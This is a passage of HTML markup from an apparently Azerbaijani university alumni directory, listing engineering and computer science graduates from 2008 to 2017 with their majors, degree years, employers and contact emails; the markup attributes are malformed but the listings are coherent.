images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nader Hicazi</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft-Qaz&nbsp; mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:nader@sng-intl.com\">nader@sng-intl.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nayef Aouil</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elektronika, telekommunikasiya və radiotexnika mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sigma (Hələ ki təcrübə keçir)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Aouiln@sigma.com\">Aouiln@sigma.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><h3 id=\"O\">O</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Oksana Vıxlyanseva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mst-group /IT technician.</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Oksanavikhlyanseva@gmail.com\">Oksanavikhlyanseva@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><h3 id=\"P\"><strong>P</strong></h3><p><strong>Pərvanə Əbdürəhimli</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Elmləri,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:parvana.abdurahimli@khazar.org\">parvana.abdurahimli@khazar.org</a> </p>\r\n<p>Xəzər\r\nUniversiteti, Laborant&nbsp;</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Paşa Vəlizadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:pasha.valizada.23@gmail.com\">pasha.valizada.23@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"R\"><strong>R</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Raj Rajeevan&nbsp;&nbsp;</strong><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hindistanda biznes</p>\r\nE-mail:&nbsp;<a href=\"http://mailto:%20rajcr1989@hotmail.com/\">rajcr1989@hotmail.com<br></a><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Rəşid Salmanov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və qaz mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:rasidsalmanov@gmail.com\">rasidsalmanov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Roza Misirli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İnformatika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İT təhlilçisi/ Business Insight</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:r.misirli@gmail.com\">r.misirli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistır 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Ramal Əhmədov</span></strong></p><p>Mühəndislik və Tətbiqi Elmlər fakültəsi</p>\r\n<p>Demirbank Asc Baş Ofis Qrup rəhbəri</p>\r\n<p>E-mail:&nbsp;<a href=\"mailto:ahmadov.r@gmail.com\">ahmadov.r@gmail.com</a></p>\r\n<p>2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"S\">S</h3><p><strong>Samir Qasımov</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Elektronika,\r\ntelekommunikasiya və radiotexnika mühəndisliyi, 2017</p>\r\n<p>E-mail:&nbsp; <a href=\"mailto:R.o.m.a.n.s.o.n@mail.ru\">R.o.m.a.n.s.o.n@mail.ru</a> </p>\r\n<p>Azərbaycan\r\nRobotexnika Mühəndisliyi Akademiyası, müəllim</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Səttar Əmrahov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnformatika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lab Service mühəndis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Settar216@gmail.com\">Settar216@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistır 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Samir Amanov &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəzər Universiteti/İT departamenti</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sam.amanov@gmail.com\">sam.amanov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Sahil Əmirov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elektronika, telekommunikasiya və radiotexnika mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><span style=\"background-color:#fffffff;color:#252525\">Hərbi xidmətdədir</span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"Ş\">Ş</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Şəbnəm İsmayılova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sebis_9494@mail.ru\">sebis_9494@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015<br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Şəbnəm Baxşəliyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yapikredit bank / It developer</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Scr9492@gmail.com\">Scr9492@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"T\">T</h3><p><strong>Turan Süleymanov</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Elektronika,\r\ntelekommunikasiya və radiotexnika mühəndisliyi, 2017</p>\r\n<p>E-mail:&nbsp; <a href=\"mailto:turan.suleymanov@inbox.ru\">turan.suleymanov[at]inbox.ru</a> </p>\r\n<p>Zeytun\r\nPharmaceuticals, Satış meneceri</p>  <br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Turqay Məmmədov</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Elektronika,\r\ntelekommunikasiya və radiotexnika mühəndisliyi, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:turgaymammadov@gmail.com\">turgaymammadov[at]gmail.com</a></p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Təbriz Xanəhmədov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft-Qaz&nbsp; mühəndisliyi<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Halliburton, Sperry Drilling M/LWD Field engineer</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Khanakmadov@outlook.com\">Khanakmadov@outlook.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Təranə Nəsibli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Nasibli.tarana@gmail.com\">Nasibli.tarana@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Toğrul Rzayev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Tural Əhmədov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və qaz mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hərbi xidmətdədir  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:tural.ehmedov.92@mail.ru\">tural.ehmedov.92@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Turkan Cəmiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Tariyel Qismətov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri<strong>&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Tural Səfərli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Sfrl.tura@gmail.com\">Sfrl.tura@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"U\">U</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Usama Ahmed</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və qaz yataqlarının işlənməsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəzər Universitetində doktorant</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Usama.Ahmed@khazar.org\">Usama.Ahmed@khazar.org</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"Ü\">Ü</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Ülkər Babayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan Dövlət Neft və Sənaye Universiteti,Kordinator</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Babaeva.u@gmail.com\">Babaeva.u@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"V\">V</h3><p><strong>Vahid Hacıyev </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>İnşaat Mühəndisliyi,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:vahid_91[at]mail.ru\">vahid_91[at]mail.ru</a></p>\r\n<p>Çinar Kafe,\r\nkassir</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Vüsalə Nəsrullayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Vusu.neva@mail.ru\">Vusu.neva@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Vidadi Əliyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Socar 